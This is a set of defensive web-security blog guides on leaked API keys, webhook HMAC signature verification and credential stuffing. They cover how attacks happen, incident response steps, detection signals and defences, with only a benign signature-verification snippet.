**What is the difference between penetration testing and red teaming?**
A penetration test aims to find as many vulnerabilities as possible within a defined scope and time, and the client's team usually knows it is happening. A red team operation simulates a real adversary against people, processes, and technology, often without the defenders knowing, and it measures whether the organization can detect and respond. Red teaming is senior work that builds on years of penetration testing experience.
## Related guides
- [OWASP Top 10 Explained with Examples](/owasp-top-10-explained)
- [SQL Injection Explained: How It Works and How to Stop It](/sql-injection-explained)
- [Cross-Site Scripting (XSS): Attack Types and Prevention](/xss-attacks-explained)
- [OSINT Reconnaissance: Tools and Techniques](/osint-reconnaissance-guide)
- [Bug Bounty Hunting: Getting Started](/bug-bounty-getting-started)
### Sources
- OWASP Testing Guide (OWASP): https://owasp.org/www-project-web-security-testing-guide/
- MITRE ATT&CK Framework (MITRE): https://attack.mitre.org/
- NIST NICE Cybersecurity Workforce Framework (SP 800-181) (NIST): https://csrc.nist.gov/publications/detail/sp/800-181/rev-1/final
---
# Category: web-security
## Leaked API Keys Explained: How Secrets Leak and What to Do
> How API keys and tokens leak through git, logs, images and laptops, what attackers do with them, and the first-hour response that revokes them.
- URL: https://blog.pwnsy.com/leaked-api-keys-explained
- Date: 2026-10-07
- Updated: 2026-10-07
- Difficulty: intermediate
- Category: web-security
- Tags: secrets-management, api-keys, appsec, incident-response, devsecops
- Related: [Terraform Security Checklist: 12 Settings Behind Cloud Breaches](https://blog.pwnsy.com/terraform-security-checklist), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- An API key or token is a password for software. Whoever holds it acts as your account, usually with no MFA and no alert to you.
- Keys leak through commits and their history, container images, frontend bundles, CI logs, chat and tickets, Terraform state, and infostealer malware on developer laptops.
- The fix is to revoke or rotate the key at the provider first. Deleting the file or the commit does not invalidate a key that has already been copied.
- Prevention stacks: pre-commit and push-time scanning, a secret manager, short-lived credentials from OIDC instead of static keys, and redacting logs before they are shared.
### Key Takeaways
- GitGuardian scanned 69.6 million public repositories in 2024 and found a secret in at least 4.61% of them.
- GitGuardian also found that 70% of the secrets leaked in 2022 were still valid when it published its 2025 report, so most leaked keys stay valid for years.
- When AWS finds an access key exposed publicly, it can attach the AWSCompromisedKeyQuarantineV3 managed policy to the IAM user to deny high-risk actions, and opens a support case. Rotation is still your job.
- Git history keeps a removed secret in every clone and fork. Rewrite history only after the key is revoked, and treat the rewrite as hygiene.
- Static cloud keys in CI are among the easiest leaks to remove: GitHub Actions, GitLab and others can exchange an OIDC token for short-lived cloud credentials.
### FAQ
**Q: I pushed an API key to GitHub and deleted it a minute later. Am I safe?**
No. Assume it was copied. Public pushes are watched continuously by scanners run by providers, researchers and attackers (Unit 42 saw one attacker use exposed AWS keys within five minutes of the push), and the commit stays reachable in the repository history and in any fork or clone. Revoke or rotate the key now, then check the provider's logs for use since the push.
**Q: Is a key in a private repository a problem?**
Yes. Private repositories are read by every collaborator, every CI integration and anyone who steals a developer's token or laptop. In the 2016 Uber breach, attackers used an AWS key that an engineer had posted in a private GitHub repository.
**Q: Should I rewrite git history to remove the secret?**
After revoking it, yes, so it stops showing up in scans and new clones. Use git filter-repo or BFG Repo-Cleaner, force-push, and ask collaborators to re-clone. The rewrite does not reach forks or copies already made, which is why revocation comes first.
**Q: Are frontend keys like a Google Maps key or a Stripe publishable key leaks?**
Some keys are designed to be public: Stripe publishable keys, Firebase web config, Mapbox pk tokens, Google Maps keys. Each needs its own guard: restrict a Maps key to your domains and APIs, and protect Firebase data with Security Rules. Secret keys never belong in client code, mobile apps included.
An API key is a password that software uses. A Stripe secret key moves money, an AWS access key creates servers, an npm token publishes packages under your name, an OpenAI key bills model calls to your card. None of them ask for a second factor, and most providers send no alert when a new IP address starts using one.
That makes leaked keys one of the cheapest ways into a company. Nobody has to phish anyone or exploit anything. Someone finds the string and uses it.
## How big the problem is
GitGuardian scans public GitHub continuously. In 2024 it scanned 69.6 million public repositories and found at least one secret in 4.61% of them, and 15% of commit authors had leaked a secret. The figure that matters most for response is the next one: 70% of the secrets leaked in 2022 were still valid when GitGuardian published its 2025 report. Most leaked keys stay valid for years.
Public GitHub is only the visible part. The same report covers secrets in public Docker images, and private repositories, chat and ticketing tools carry far more that no outside scanner sees.
## Where keys leak
| Channel | How it happens | Who finds it |
|---|---|---|
| Git commits | A `.env` or config file is committed, or a key is pasted into code "just to test". Deleting it later leaves it in history. | Public-repo scanners within minutes (Unit 42 saw AWS keys used five minutes after a push); anyone with repo access later |
| Container images | `COPY . .` in a Dockerfile copies `.env` and `.git` into a layer. Layers keep deleted files. | Anyone who pulls the image from a public registry |
| Frontend and mobile code | A secret key is used from the browser or bundled into an app. Minification hides nothing. | Anyone who opens dev tools or unpacks the app |
| CI logs | A build step echoes environment variables or runs with debug output on. | Anyone who can read the build logs, which may be public for open-source projects |
| Chat, tickets, AI assistants | Someone pastes a config or log to get help. | Every member of the channel, the vendor, and anyone who breaches it |
| Terraform state | State files store resource attributes in plain text, including generated passwords and keys. | Anyone who can read the state bucket |
| Developer laptops | Infostealer malware takes `.env` files, shell history, browser-saved tokens and cloud CLI credentials. | The stealer operator, then buyers of the logs |
The last row is easy to forget. A stealer on one developer's laptop can take the AWS CLI credentials, a GitHub token and every `.env` in their projects in one sweep. Our guide on [what an infostealer takes](/what-is-an-infostealer) covers that path.
## What attackers do with a key
What happens next depends on what the key can do.
- **Cloud keys** (AWS, Google Cloud, Azure, DigitalOcean) are used to launch [crypto-mining](/what-is-a-cryptojacker) instances, read storage buckets, and create new access keys or users so access survives a rotation.
- **Payment keys** (Stripe, Square) are used to test stolen card numbers, read customer and payment data, or refund charges the attacker made with stolen cards.
- **Source and package tokens** (GitHub, GitLab, npm, PyPI) are used to read private code for more secrets, or to publish a malicious package version. That turns one leak into a supply-chain attack on everyone who installs the package.
- **Email and messaging keys** (SendGrid, Mailgun, Twilio, Slack) are used to send phishing from your verified domain, which passes SPF and DKIM, or to read internal channels.
- **AI keys** (OpenAI, Anthropic and others) are resold or used to run large workloads billed to you.
The 2016 Uber breach is the standard example. According to the FTC's complaint, attackers used an AWS access key that an Uber engineer had left in plain text in code in a private GitHub repository. They reached the repository because engineers' GitHub accounts reused passwords and had no multi-factor authentication, then downloaded files from Uber's S3 storage holding about 25.6 million names and email addresses of US riders and drivers. Uber later put the worldwide total at 57 million people.
## The first hour after a leak
Work in this order. The most common mistake is to start with the git history.
1. **Revoke or rotate the key at the provider.** This is the only step that stops an attacker who already copied it. Create the replacement, deploy it, then delete the old one. If you cannot deploy quickly, revoke first and accept the outage.
2. **Check the provider's logs for use since the leak.** Look for calls from IP addresses, regions or user agents you do not recognise, and for new credentials the attacker may have created.
3. **Look for persistence.** On AWS, list access keys, users, roles and Lambda functions created since the leak. On GitHub, check new deploy keys, OAuth apps and webhooks. Attackers create a second way in before you rotate the first.
4. **Find every copy.** Forks, clones, Docker image tags, CI caches, wiki pages, chat messages and backups. Rotate any other secret that sat in the same file.
5. **Clean up the source.** After revocation, remove the secret from history with git filter-repo or BFG Repo-Cleaner, rebuild affected images, and purge logs where you can.
6. **Write down the cause** and add the control that would have stopped it. Usually that is a scanner in the commit path or a move to short-lived credentials.
| Provider | Revoke or rotate | Check usage in |
|---|---|---|
| AWS | IAM, the user, Security credentials: deactivate, then delete the key | CloudTrail, filtered on the access key id |
| Google Cloud | Service account Keys tab, or API key credentials page | Cloud Audit Logs |
| GitHub | Developer settings, Personal access tokens | Account security log and organization audit log |
| Stripe | API keys page: rotate the key and expire the old one now (a dashboard rotation otherwise keeps it working for up to 7 days) | Workbench request logs, or the key's own request logs |
| Slack | App settings, OAuth: revoke tokens | Integration logs under Manage apps; Audit Logs on Enterprise Grid |
| OpenAI or Anthropic | API keys page in the console | Usage dashboard |
When AWS detects one of your access keys exposed publicly, it can attach the AWSCompromisedKeyQuarantineV3 managed policy to the IAM user, which denies a list of high-risk actions, and opens a support case. The key still works for anything the policy does not deny. The policy also denies creating, deleting and updating access keys for that user, so rotate from a different admin identity, and investigate as if no quarantine had happened.
## How to find leaked secrets you already have
Scan before an attacker does.
- **Repositories:** run gitleaks or TruffleHog against the full history, including all branches. Both detect hundreds of key formats. TruffleHog also checks by default whether a found key is still live, which sends it to the provider, so pass `--no-verification` when scanning anything other than your own keys.
- **Logs, configs and snippets:** before you paste a log into a ticket, chat or AI assistant, run it through our [secret scanner](https://pwnsy.com/tools/secret-scanner/). It finds keys from 40 providers, private keys, tokens and database URLs in your browser, and gives you a redacted copy to share.
- **Images:** scan container images in your registry, not only the Dockerfile, since deleted files survive in earlier layers.
- **Cloud config:** check that Terraform does not write secrets as literal strings. Our [cloud baseline checker](https://pwnsy.com/tools/cloud-baseline/) flags them along with other risky settings.
## How to defend
1. **Block secrets at commit and push.** Add gitleaks or TruffleHog as a pre-commit hook and in CI. On GitHub, push protection for users is on by default and blocks pushes containing supported secrets to public repositories; enable it for private repositories too where your plan allows.
2. **Keep secrets in a secret manager.** AWS Secrets Manager, Google Secret Manager, HashiCorp Vault or your platform's encrypted environment variables. Commit an `.env.example` with placeholders and add `.env` to `.gitignore`.
3. **Replace static cloud keys with short-lived credentials.** CI systems such as GitHub Actions and GitLab can exchange an OIDC token for short-lived cloud credentials, one hour by default on AWS and Google Cloud. Workloads should use instance roles, workload identity or IRSA rather than key files.
4. **Scope every key.** Restricted Stripe keys, fine-grained GitHub tokens, Google API keys limited by API and referrer, IAM policies with only the actions needed. A leaked scoped key does less damage.
5. **Never put secret keys in client code.** Anything shipped to a browser or a phone is public. Proxy the call through your backend.
6. **Rotate on a schedule** so rotation is routine and fast when it is urgent. A team that has never rotated a key will take days the first time.
7. **Protect the laptops.** Endpoint protection, no long-lived credentials in shell profiles, and a plan to rotate everything on a machine that catches a stealer. Our [session kill switch](https://pwnsy.com/tools/session-kill-switch/) lists where to revoke sessions and tokens across the major platforms.
## Related guides
- [What Is an Infostealer](/what-is-an-infostealer)
- [Cloud Key Management Explained](/cloud-key-management-explained)
- [Secure Coding Practices](/secure-coding-practices)
- [Cloud Misconfigurations Guide](/cloud-misconfigurations-guide)
- [Webhook Signature Verification](/webhook-signature-verification)
- [Credential Stuffing Explained](/credential-stuffing-explained)
- [Incident Response 101](/incident-response-101)
- [Least Privilege Explained](/least-privilege-explained)
### Sources
- The State of Secrets Sprawl 2025 (GitGuardian): https://www.gitguardian.com/state-of-secrets-sprawl-report-2025
- AWSCompromisedKeyQuarantineV3 managed policy (Amazon Web Services): https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSCompromisedKeyQuarantineV3.html
- About push protection (GitHub Docs): https://docs.github.com/en/code-security/secret-scanning/introduction/about-push-protection
- EleKtra-Leak: cryptojacking with exposed IAM keys on GitHub (Palo Alto Networks Unit 42): https://unit42.paloaltonetworks.com/malicious-operations-of-exposed-iam-keys-cryptojacking/
- FTC v. Uber Technologies, revised complaint (US Federal Trade Commission): https://www.ftc.gov/system/files/documents/cases/1523054_uber_technologies_revised_complaint_0.pdf
---
## Webhook Signature Verification: How It Works and Why It Fails
> How webhook HMAC signatures from Stripe, GitHub, Slack and Svix work, the raw body and timestamp rules, and the mistakes that make verification fail.
- URL: https://blog.pwnsy.com/webhook-signature-verification
- Date: 2026-10-07
- Updated: 2026-10-07
- Difficulty: intermediate
- Category: web-security
- Tags: webhooks, hmac, api-security, appsec, replay-attacks
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained), [API Security Best Practices: Building the Defensive Program](https://blog.pwnsy.com/api-security-guide)
### TL;DR
- A webhook endpoint is a public URL that changes state in your system, so anyone who finds it can post a fake event unless you verify where it came from.
- Most providers sign each delivery with HMAC-SHA256 over the raw request body, often with a timestamp or message id in front, using a secret only you and the provider hold.
- Verification fails most often because the server signs a re-serialized JSON body instead of the bytes it received, or uses the wrong secret or encoding.
- Check the signature in constant time, reject old timestamps, and dedupe on the event id, so a captured request cannot be replayed.
### Key Takeaways
- Stripe signs the string timestamp.body and sends it in Stripe-Signature as t=...,v1=...; its libraries reject events more than five minutes old by default.
- GitHub signs the raw body with HMAC-SHA256 and sends sha256= in X-Hub-Signature-256, and tells you to compare with a constant-time function.
- Standard Webhooks (used by Svix and the services built on it) signs id.timestamp.body, and the key is the base64-decoded part of the secret after the whsec_ prefix.
- Body parsers that turn JSON into objects destroy the exact bytes. Capture the raw body on the webhook route before any parser runs.
- Signature, timestamp window and event-id dedupe each block a different attack: forgery, replay, and duplicate processing.
### FAQ
**Q: Why does Stripe say no signatures found matching the expected signature?**
The body your code signed is not the exact body Stripe sent, or the secret is wrong. The usual cause is a JSON body parser running before the webhook handler, so the code signs a re-serialized object. Pass the raw request body to constructEvent and check that the whsec_ secret belongs to this endpoint and mode.
**Q: Do I need to verify webhooks if the URL is secret?**
Yes. URLs leak through logs, browser history, proxies, error trackers and former staff. A hard-to-guess URL is a useful second layer, and the signature is the control that proves the sender.
**Q: Is HMAC verification enough to stop replay attacks?**
Only if the signed content includes a timestamp you check. Without one, a captured request stays valid forever. Add a timestamp window where the scheme supports it and dedupe on the event id in every case.
**Q: Why compare signatures with timingSafeEqual instead of ==?**
A normal string comparison stops at the first different character, so its run time leaks how many leading characters of a guessed signature were right. crypto.timingSafeEqual in Node and hmac.compare_digest in Python take the same time either way.
A webhook is an HTTP request a provider sends to your server when something happens: a payment succeeds, a pull request opens, a user signs up. Your endpoint reads the event and acts on it. It marks an invoice paid, ships an order, grants access.
That endpoint is a public URL. Anyone who learns it can send it a request that looks exactly like the provider's. If the server trusts the body, an attacker can post a fake `invoice.paid` and receive goods without paying. Signature verification is the control that stops this, and it is easy to get subtly wrong.
## What a webhook signature proves
The provider and your server share a secret, which you set or copy from the provider's dashboard when you create the endpoint. For each delivery, the provider computes an [HMAC](/what-is-hmac) of the request with that secret and puts the result in a header. Your server computes the same HMAC over what it received and compares the two.
A match proves two things. The sender knew the secret, so it was the provider (or someone who stole the secret). And the signed content was not changed in transit, because any change produces a different HMAC.
A signature alone does not prove the request is fresh. A captured request with a valid signature stays valid forever unless the signed content includes a timestamp you check. That is why most modern schemes sign a timestamp too.
## How the major providers sign
The idea is the same everywhere. The details differ, and those details are where verification breaks.
| Provider | Header | What is signed | Hash and encoding | Replay window |
|---|---|---|---|---|
| Stripe | `Stripe-Signature: t=...,v1=...` | `timestamp.body` | HMAC-SHA256, hex | 5 minutes by default in Stripe's libraries |
| GitHub | `X-Hub-Signature-256: sha256=...` | body | HMAC-SHA256, hex | None signed; dedupe on `X-GitHub-Delivery` |
| Slack | `X-Slack-Signature: v0=...` plus `X-Slack-Request-Timestamp` | `v0:timestamp:body` | HMAC-SHA256, hex | Slack recommends rejecting requests older than 5 minutes |
| Standard Webhooks and Svix | `webhook-signature: v1,...` plus `webhook-id` and `webhook-timestamp` | `id.timestamp.body` | HMAC-SHA256, base64 | Set by the receiver, commonly 5 minutes |
| Shopify | `X-Shopify-Hmac-SHA256` | body | HMAC-SHA256, base64 | None signed; dedupe on `X-Shopify-Webhook-Id` |
| Twilio | `X-Twilio-Signature` | full URL plus sorted form parameters (for JSON bodies, the URL with a `bodySHA256` parameter) | HMAC-SHA1, base64 | None signed |
Two details in that table trip up a lot of code. Stripe uses its `whsec_` secret as the key exactly as shown, prefix included. Standard Webhooks also uses a `whsec_` prefix, but there the key is the base64-decoded bytes after the prefix. Code copied from one provider to the other fails every time.
You can check any of these schemes against a real delivery with our [webhook signature checker](https://pwnsy.com/tools/webhook-signature/). It rebuilds the exact signed string, shows hidden newlines, and compares in your browser without sending the secret anywhere.
## Verification step by step
A correct handler does the following, in this order:
1. **Read the raw body bytes** before any JSON parser touches them.
2. **Read the signature header** and, if the scheme has one, the timestamp and message id.
3. **Rebuild the signed string** exactly as the provider documents it.
4. **Compute the HMAC** with your endpoint secret and the documented hash.
5. **Compare in constant time** against every signature of the current scheme in the header (`v1` for Stripe and Standard Webhooks) and ignore any other scheme. Both may send several `v1` signatures during a secret rotation, and any one matching is valid.
6. **Reject stale timestamps** outside your window.
7. **Dedupe on the event id**, so a replay inside the window or a provider retry does nothing the second time.
8. **Only then parse the JSON** and act on it.
Here is a minimal Node.js version for GitHub:
```js
import crypto from "node:crypto";
export function verifyGitHub(rawBody, header, secret) {
const given = Buffer.from(String(header).replace(/^sha256=/, ""), "hex");
const expected = crypto.createHmac("sha256", secret).update(rawBody).digest();
return given.length === expected.length && crypto.timingSafeEqual(given, expected);
}
```
Where the provider ships a verifier in its SDK, such as Stripe's `constructEvent`, use it in production. It handles header parsing, multiple signatures and the timestamp window.
## Why verification fails
When a signature that should match does not, the cause is almost always one of these.
| Mistake | What happened | Fix |
|---|---|---|
| Body re-serialized | A framework parsed the JSON, then your code called `JSON.stringify` on the object. Spacing and key order changed. | Capture the raw body on the webhook route, for example `express.raw({ type: "application/json" })`. |
| Trailing newline | A test tool, editor or heredoc added `\n` to the body you are testing with. | Send the body with `curl --data-binary` and compare byte lengths. |
| Line endings changed | Windows `\r\n` became `\n`, or the reverse. | Treat the body as bytes, never as lines. |
| Wrong secret | Test-mode secret against live events, or one endpoint's secret on another endpoint. | Stripe and Standard Webhooks issue one secret per endpoint; Shopify signs with the app client secret and Twilio with the account auth token. Check you have the right one for this endpoint and mode. |
| `whsec_` handling | Prefix stripped for Stripe, or kept as text for Standard Webhooks. | Follow the provider's key rule exactly. |
| Encoding mix-up | Hex compared against base64, or uppercase hex against lowercase. | Decode both sides to bytes, then compare. |
| Timestamp units | Milliseconds used where the scheme signs seconds. | Use the timestamp string from the header unchanged. |
| URL mismatch | For Twilio and Square, a proxy changed the scheme, host or port in the URL you sign. | Sign the public URL the provider called. |
Take one failing delivery, its header and your secret, and try each variant: minified body, body without the final newline, the other secret format. The variant that matches names the bug. The [webhook signature checker](https://pwnsy.com/tools/webhook-signature/) runs these tests automatically.
## Replay and duplicate events
Stripe, Shopify, Slack and most Standard Webhooks senders retry deliveries that time out or return an error, so the same event can arrive more than once. GitHub does not retry on its own, but a manual redelivery resends the event with the same delivery id. Your handler has to be idempotent whatever an attacker does.
Store each processed event id with a unique constraint before acting on it. If the insert fails because the id exists, return 200 and stop. This one table blocks replays inside the timestamp window, makes provider retries safe, and gives you an audit trail of every event that changed state.
For schemes that sign no timestamp, such as GitHub and Shopify, event-id dedupe is the only replay control you have. Keep the ids for as long as you can, ideally indefinitely: without a signed timestamp, a captured request stays valid forever.
## Secrets and rotation
A webhook secret is a credential. Anyone holding it can forge events your server will trust.
- Keep it in a secret manager or the deploy environment, never in the repository. If one has leaked, our guide to [leaked API keys](/leaked-api-keys-explained) covers the response.
- Use one secret per endpoint where the provider allows it, so a leak in staging does not open production.
- Rotate on a schedule and after any exposure. Stripe and Standard Webhooks can sign with old and new secrets during a rollover window, which is why the header can carry several signatures.
- Never log the secret, and avoid logging full signature headers alongside bodies.
## How to defend
1. **Verify every delivery** with the provider's documented scheme, over the raw body, in constant time.
2. **Enforce a timestamp window** where the scheme signs one. Five minutes is the common default.
3. **Dedupe on the event id** with a unique constraint before taking action.
4. **Fetch, then trust.** For high-value events such as payments, call the provider's API for the object id in the event and act on what the API returns. A forged body then cannot change the outcome.
5. **Return 2xx fast** and do the work on a queue, so slow processing does not cause retries and duplicates.
6. **Restrict the endpoint** where the provider publishes source IP ranges, as a second layer. Stripe publishes a list and GitHub exposes its hook ranges through its `/meta` API; Twilio, Slack and Shopify do not publish fixed webhook ranges. Never rely on IP allow-lists alone.
7. **Test the failure path.** Send a request with a wrong signature in CI and assert a 400 or 401, and do the same for a stale timestamp and a repeated event id.
Webhooks are part of your API surface. The same threat model applies as for any other endpoint, which our [API security guide](/api-security-guide) walks through.
## Related guides
- [What Is HMAC](/what-is-hmac)
- [API Security Guide](/api-security-guide)
- [API Abuse Explained](/api-abuse-explained)
- [Leaked API Keys Explained](/leaked-api-keys-explained)
- [What Is a JWT](/what-is-a-jwt)
- [Man-in-the-Middle Attacks Explained](/man-in-the-middle-explained)
- [Secure Coding Practices](/secure-coding-practices)
### Sources
- Receive Stripe events in your webhook endpoint: verify webhook signatures (Stripe): https://docs.stripe.com/webhooks
- Validating webhook deliveries (GitHub Docs): https://docs.github.com/en/webhooks/using-webhooks/validating-webhook-deliveries
- Standard Webhooks specification (Standard Webhooks): https://github.com/standard-webhooks/standard-webhooks/blob/main/spec/standard-webhooks.md
---
## Credential Stuffing Explained: How Reused Passwords Get Exploited
> How credential stuffing works, where combolists come from, cases like 23andMe, Roku and Snowflake, the signals that reveal it, and how to stop it.
- URL: https://blog.pwnsy.com/credential-stuffing-explained
- Date: 2026-10-02
- Updated: 2026-10-02
- Difficulty: beginner
- Category: web-security
- Tags: credential-stuffing, account-takeover, password-reuse, authentication, bot-detection
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [MFA Fatigue Attacks Explained: How Push Bombing Works](https://blog.pwnsy.com/mfa-fatigue-attacks-explained)
### TL;DR
- Credential stuffing is the automated replay of username and password pairs stolen from one service against the login pages of other services, betting that people reused the password.
- Each attempt usually fails. Shape Security reported success rates of 0.1% to 2%, which still means thousands of hijacked accounts from a list of a million pairs.
- The fuel is combolists built from old breaches and, increasingly, infostealer logs that carry fresh passwords and the exact login URL they belong to.
- MFA, breached-password screening, bot and device signals, and passkeys break the attack. Rate limiting alone does not, because attackers spread attempts across huge proxy pools.
### Key Takeaways
- Verizon's 2025 DBIR research found credential stuffing made up a median 19% of daily authentication attempts in SSO provider logs, rising to 25% at enterprises.
- In the median case, only 49% of a user's passwords across services were distinct, according to Verizon's analysis of infostealer data.
- 23andMe (2023), Roku (2024) and the Snowflake customer breaches (2024) all began with valid passwords stolen elsewhere and accounts without MFA.
- NIST SP 800-63B requires verifiers to check new passwords against a blocklist that includes passwords from previous breach corpuses.
- Pwned Passwords lets a site screen passwords with k-anonymity: only the first five characters of the SHA-1 hash leave the server.
Many account takeovers involve no guessing at all. An attacker takes an email and password that leaked from one site and tries it on another. If you used the same password on both, they are in. Do that with millions of pairs, automatically, against a login page, and you have credential stuffing.
The attack is simple, cheap and persistent. It is also one of the easiest to defeat, which makes it worth understanding from both sides.
## How credential stuffing works
OWASP defines credential stuffing as "testing username/password pairs obtained from the breach of another site." The workflow has four parts.
1. **Acquire credentials.** The attacker buys, trades or downloads lists of email and password pairs.
2. **Target a login.** They pick a site or API where accounts have value: streaming, retail with stored cards, airline miles, gaming, banking, cloud consoles.
3. **Automate the attempts.** A tool replays each pair against the login endpoint, routing traffic through many IP addresses so no single source looks noisy.
4. **Monetise the hits.** Working logins are used directly (buying goods, draining points), or sold as verified accounts, which fetch more than raw pairs.
The economics rest on password reuse. Verizon's 2025 DBIR research on infostealer data found that in the median case only 49% of a user's passwords across services were distinct from each other.
### Success rates
Most attempts fail, and that is fine for the attacker. Shape Security reported success rates between 0.1% and 2% when stolen credentials were replayed against sites that had not themselves been breached. At 1%, a list of one million pairs yields roughly 10,000 working accounts. The cost of trying is close to zero, so even the low end pays.
## Credential stuffing, password spraying and brute force
These three are often confused. OWASP's cheat sheet separates them cleanly.
| Attack | What is tried | Against | Main tell |
|---|---|---|---|
| Brute force | Many passwords | One account | Many failures on a single account |
| Password spraying | One or a few common passwords | Many accounts | Same password tried across many usernames |
| Credential stuffing | A specific leaked password for each user | Many accounts, each once or twice | Many usernames, low per-account attempts, high overall failure rate |
Because stuffing tries each account only once or twice, per-account lockouts rarely trigger. That is the main reason it survives defences built for brute force. For the offline side of password attacks, where hashes are cracked rather than logins tried, see [password cracking techniques](/password-cracking-techniques).
## Where the credentials come from
**Combolists.** These are text files of email and password pairs merged from many breaches, often deduplicated and sorted by domain. They circulate on forums and Telegram channels, some free, some paid. Many entries are years old.
**Infostealer logs.** This is the faster-growing source. An [infostealer](/what-is-an-infostealer) on one machine captures every password the browser saved, along with the URL each one belongs to. That URL pairing removes the guesswork: the attacker knows exactly which login page the credential works on, and the password is current. Stealer logs also carry session cookies, which let an attacker skip the login entirely. That is a separate attack, covered in [session hijacking](/session-hijacking-explained).
**Phishing kits.** Credentials typed into fake login pages are fresh and valid at the moment of theft.
To see whether a domain's employees or users show up in stealer logs, the [stealer exposure check](https://pwnsy.com/tools/osint/stealer-exposure/) reports counts of infected employees and users and the login URLs that were captured.
## The tooling, described defensively
Defenders benefit from knowing the categories of tooling, because each one leaves a different fingerprint.
| Category | What it does | What defenders see |
|---|---|---|
| Configurable checkers (OpenBullet-class) | Load a per-site "config" that scripts the login request and recognises success | Traffic that matches the login flow exactly but skips page assets, scripts or normal navigation |
| Proxy networks | Spread requests across datacentre and residential IP addresses | Low attempts per IP, many ASNs, residential ranges that look like real users |
| CAPTCHA solving services | Pass challenges with human solvers or automated models | CAPTCHAs that are solved, at speed, with no other human signals |
| Headless browsers and anti-detect browsers | Mimic real browsers to defeat basic bot checks | Inconsistent fingerprints, automation flags, mismatched TLS and HTTP headers |
The configs are shared and sold per target site, which is why a single popular service can see a surge of attacks after one config circulates. Proxy pools that route through residential connections are the reason simple IP blocking fails. Some of these networks are built from infected home devices, the same infrastructure described in [what a botnet is](/what-is-a-botnet).
## Notable cases
**23andMe, 2023.** The company said attackers used credentials compromised elsewhere to access less than 0.1% of its 14 million customers, roughly 14,000 accounts. Through the opt-in DNA Relatives feature, those accounts exposed data on about 5.5 million DNA Relatives profiles and about 1.4 million Family Tree profiles. 23andMe responded by resetting passwords and requiring two-step verification for every account. The case shows how a small number of stuffed accounts can reach a much larger population through sharing features.
**Roku, 2024.** Roku reported that about 15,000 accounts were accessed using credentials stolen from other sources, followed by a second incident affecting about 576,000 accounts. In fewer than 400 cases attackers made purchases with stored payment methods. Roku said it was not the source of the credentials and turned on two-factor authentication for all accounts.
**Snowflake customers, 2024.** Mandiant's investigation of UNC5537 found the actor logged into Snowflake customer instances with credentials stolen by infostealers, some from infections dating back to November 2020. About 165 organisations were notified as potentially exposed, and at least 79.7% of the accounts used had prior credential exposure. Mandiant named three factors: no MFA, credentials never rotated, and no network allow lists. It is the same replay of stolen credentials at enterprise scale, fed by stealer logs. Our [Snowflake breach guide](/snowflake-breaches-explained) has the full story.
Verizon's analysis of SSO provider logs for the 2025 DBIR found the median day had 19% of all authentication attempts coming from credential stuffing, 25% at enterprise-sized organisations, with a peak day of 44%. Compromised credentials were an initial access vector in 22% of the breaches it reviewed.
## Detection signals
Watch the login endpoint as a system, since individual accounts rarely look unusual.
- **A rising failed-login ratio** across the whole site, especially "unknown username" and "wrong password" failures together.
- **Many distinct usernames per IP, device fingerprint or TLS fingerprint**, even at low volume per source.
- **Login attempts that skip the page.** Requests straight to the login API with no prior page load, script execution or asset fetch.
- **Fingerprint mismatches.** A browser user-agent with a TLS or HTTP/2 fingerprint that belongs to a scripting library. OWASP names JA3 and HTTP/2 fingerprinting as useful signals.
- **Traffic from hosting providers and known proxy ranges** at unusual times.
- **Successful logins followed by account changes**: new email, new shipping address, new payment method, password change.
- **Users reporting MFA prompts they did not trigger**, which means their password worked somewhere.
- **Credentials from your user base appearing in combolists or stealer logs.**
Feed these into your [SIEM](/what-is-a-siem) and alert on site-wide trends.
## How to defend against credential stuffing
### For site and app owners
1. **Require MFA**, or at least trigger it for risky logins (new device, new location, hosting provider IP). OWASP calls MFA the strongest single defence.
2. **Screen passwords against breach data.** NIST SP 800-63B says verifiers "SHALL compare the prospective secret against a blocklist" that includes passwords from previous breach corpuses. The Pwned Passwords range API supports this with k-anonymity: the server sends only the first five characters of the password's SHA-1 hash and compares the returned suffixes locally, so the password never leaves your system.
3. **Rate limit by more than IP.** Limit by account, device fingerprint, subnet and ASN, and use progressive delays. NIST caps consecutive failed attempts on one account at 100. Our [rate limiting guide](/rate-limiting-explained) covers the design.
4. **Use device and connection fingerprinting** to spot automation that rotates IPs.
5. **Add a challenge on risk**, and accept that CAPTCHAs alone are defeated by solving services.
6. **Avoid user enumeration.** Return the same response for a bad username and a bad password.
7. **Notify users** of new-device logins and password changes, so victims can act fast.
8. **Offer passkeys.** A passkey is bound to your site's origin and holds no reusable secret, so there is nothing for a combolist to contain. See [passkeys explained](/passkeys-explained).
### For individuals
1. **Use a unique password for every account**, generated and stored by a [password manager](/password-managers-guide).
2. **Turn on MFA** everywhere it is offered, starting with email.
3. **Switch to passkeys** where available.
4. **Check whether your email or passwords have leaked** with Have I Been Pwned.
5. **After a breach alert, sign out everywhere.** The [session kill switch](https://pwnsy.com/tools/session-kill-switch/) lists where each major platform lets you revoke sessions and sign out of all devices.
Rejecting known-breached passwords at sign-up and password change costs one API call and removes the passwords most likely to appear in a combolist. Pair it with MFA and most stuffing traffic becomes worthless to the attacker.
## Related guides
- [Session Hijacking Explained](/session-hijacking-explained)
- [Passkeys Explained](/passkeys-explained)
- [Password Cracking Techniques](/password-cracking-techniques)
- [The Snowflake Customer Breaches](/snowflake-breaches-explained)
- [What Is an Infostealer](/what-is-an-infostealer)
- [Rate Limiting Explained](/rate-limiting-explained)
- [Two-Factor Authentication Guide](/two-factor-authentication-guide)
- [How Dark Web Monitoring Works](/how-dark-web-monitoring-works)
### Sources
- Credential Stuffing Prevention Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html
- Additional 2025 DBIR research on credential stuffing (Verizon): https://www.verizon.com/business/resources/articles/credential-stuffing-attacks-2025-dbir-research/
